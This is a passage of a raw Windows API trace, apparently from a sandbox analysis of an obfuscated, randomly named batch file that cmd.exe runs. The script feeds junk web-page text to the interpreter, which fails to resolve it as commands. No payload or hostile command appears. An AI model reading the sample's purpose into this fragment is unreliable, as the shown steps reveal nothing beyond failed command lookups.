Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.637] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.638] GetProcessHeap () returned 0x20b0f920000 [0162.638] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.638] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.638] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cf70 [0162.638] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0162.638] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.638] GetLastError () returned 0x2 [0162.638] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.639] GetLastError () returned 0x2 [0162.639] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.639] GetLastError () returned 0x2 [0162.639] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.639] GetLastError () returned 0x2 [0162.639] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.639] GetLastError () returned 0x2 [0162.639] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.639] GetLastError () returned 0x2 [0162.639] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.639] GetLastError () returned 0x2 [0162.639] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.640] GetLastError () returned 0x2 [0162.640] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.640] GetLastError () returned 0x2 [0162.640] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.640] GetLastError () returned 0x2 [0162.640] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.640] GetLastError () returned 0x2 [0162.640] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.640] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.640] GetLastError () returned 0x2 [0162.641] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.641] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d330 [0162.641] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0162.641] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.641] GetLastError () returned 0x2 [0162.641] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.641] GetLastError () returned 0x2 [0162.641] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.642] GetLastError () returned 0x2 [0162.642] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.642] GetLastError () returned 0x2 [0162.642] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.642] GetLastError () returned 0x2 [0162.642] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.643] GetLastError () returned 0x2 [0162.643] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.643] GetLastError () returned 0x2 [0162.643] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.643] GetLastError () returned 0x2 [0162.643] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.643] GetLastError () returned 0x2 [0162.643] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.643] GetLastError () returned 0x2 [0162.643] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.643] GetLastError () returned 0x2 [0162.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.643] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.644] GetLastError () returned 0x2 [0162.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.644] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.644] GetLastError () returned 0x2 [0162.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.644] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.644] GetLastError () returned 0x2 [0162.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.644] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.644] GetLastError () returned 0x2 [0162.644] ??_V@YAXPEAX@Z () returned 0x1 [0162.645] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.645] GetFileType (hFile=0x54) returned 0x2 [0162.645] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.645] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.645] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.645] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.646] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.646] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.646] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.652] ??_V@YAXPEAX@Z () returned 0x1 [0162.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.652] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.653] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.653] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.653] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.653] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.653] SetConsoleInputExeNameW () returned 0x1 [0162.653] GetConsoleOutputCP () returned 0x1b5 [0162.654] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.654] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.655] ??_V@YAXPEAX@Z () returned 0x1 [0162.656] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.657] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.657] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.657] SetFilePointer (in: hFile=0x94, lDistanceToMove=1516, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5ec [0162.657] GetProcessHeap () returned 0x20b0f920000 [0162.657] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.657] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957720) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.658] GetProcessHeap () returned 0x20b0f920000 [0162.658] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.659] GetProcessHeap () returned 0x20b0f920000 [0162.659] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.659] GetProcessHeap () returned 0x20b0f920000 [0162.660] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.660] GetProcessHeap () returned 0x20b0f920000 [0162.660] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.660] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.660] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5ec [0162.660] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x11c9, lpOverlapped=0x0) returned 1 [0162.660] SetFilePointer (in: hFile=0x94, lDistanceToMove=1607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x647 [0162.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0162.660] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.660] GetFileType (hFile=0x94) returned 0x1 [0162.660] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.660] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x647 [0162.660] GetProcessHeap () returned 0x20b0f920000 [0162.660] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.661] GetProcessHeap () returned 0x20b0f920000 [0162.661] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.661] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.661] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.661] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.661] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.661] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.661] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.661] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.661] GetProcessHeap () returned 0x20b0f920000 [0162.661] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.661] GetProcessHeap () returned 0x20b0f920000 [0162.661] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.661] GetProcessHeap () returned 0x20b0f920000 [0162.661] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f92cb10 [0162.661] _tell (_FileHandle=3) returned 1607 [0162.661] _close (_FileHandle=3) returned 0 [0162.662] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.662] GetFileType (hFile=0x50) returned 0x2 [0162.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.662] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.664] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.667] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.667] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.668] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.668] GetFileType (hFile=0x50) returned 0x2 [0162.668] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.668] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.668] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.668] GetFileType (hFile=0x50) returned 0x2 [0162.668] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.669] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.669] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.669] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0162.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.669] GetFileType (hFile=0x50) returned 0x2 [0162.669] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.669] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.670] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0162.670] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.670] GetFileType (hFile=0x50) returned 0x2 [0162.670] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.670] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.671] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.677] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.678] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.678] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.679] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.679] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.679] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.679] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.679] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.679] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.679] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.679] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.679] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.679] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.679] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.679] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.679] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.679] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.679] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.679] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.679] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.679] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.679] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.679] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.679] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.679] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.679] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.679] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.679] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.679] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.679] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.679] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.679] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.679] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.679] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.679] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.679] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.679] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.679] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.680] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.680] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.680] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.680] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.680] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.680] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.680] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.680] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.680] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.680] GetProcessHeap () returned 0x20b0f920000 [0162.680] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.683] SetErrorMode (uMode=0x0) returned 0x0 [0162.683] SetErrorMode (uMode=0x1) returned 0x0 [0162.683] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.683] SetErrorMode (uMode=0x0) returned 0x1 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.683] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: 